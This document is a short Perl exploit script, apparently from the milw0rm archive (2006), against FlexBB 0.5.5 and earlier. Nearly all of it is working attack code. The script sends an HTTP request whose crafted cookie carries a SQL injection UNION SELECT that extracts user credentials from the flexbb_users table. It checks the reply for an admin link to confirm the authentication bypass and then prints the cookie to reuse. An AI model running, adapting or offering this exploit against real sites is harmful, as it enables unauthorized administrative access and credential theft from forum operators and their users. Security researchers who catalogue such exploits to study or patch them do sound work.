#!/usr/bin/perl -w

# FlexBB <= 0.5.5 (/inc/start.php _COOKIE) Remote SQL ByPass Exploit , Perl C0d3
#
# Milw0rm ID :-
#                        http://www.milw0rm.com/auth.php?id=1539
# D3vil-0x1 | Devil-00 < BlackHat > :)
#
# DONT FORGET TO DO YOUR CONFIG !!
# DONT FORGET TO DO YOUR CONFIG !!
# DONT FORGET TO DO YOUR CONFIG !!
use IO::Socket;

##-- Start --#

$host         = "127.0.0.1";
$path         = "/flexbb/";

##-- _END_ --##
#        $host                :-
#                                The Host Name Without http:// | exm. www.vic.com
#
#        $path                :-
#                                FlexBB Dir On Server | exm. /flexbb/

$sock = IO::Socket::INET->new (
                                                                                PeerAddr => "$host",
                                                                                PeerPort        => "80",
                                                                                Proto                => "tcp"
                                                                                ) or die("[!] Connect To Server Was Filed");
##-- DONT TRY TO EDIT ME --##
$evilcookie = "flexbb_username='UNION SELECT id,username,password,4,usertype,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9 FROM flexbb_users WHERE id=1/*;";
##-- DONT TRY TO EDIT ME --##
$evildata  = "GET ".$path."index.php?action=buddypopup HTTP/1.1\n";
$evildata .= "Host: $host \n";
$evildata .= "Accept: */* \n";
$evildata .= "Keep-Alive: 300\n";
$evildata .= "Connection: keep-alive \n";
$evildata .= "Cookie: ".$evilcookie."\n\n";

print $sock $evildata;

while($ans = <$sock>){
#<a href="./admin/index.php">
        if($ans =~ m/<a href=\".\/admin\/index.php">(.*?)<\/a>/){
            print "\n[+] Bypass [ OKAY ] Edit your cookies  :-\n\n";
            print "\tflexbb_username='UNION SELECT id,username,password,4,usertype,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9 FROM flexbb_users WHERE id=1/*;\n\n";
            exit;
        }
}

# milw0rm.com [2006-04-17]
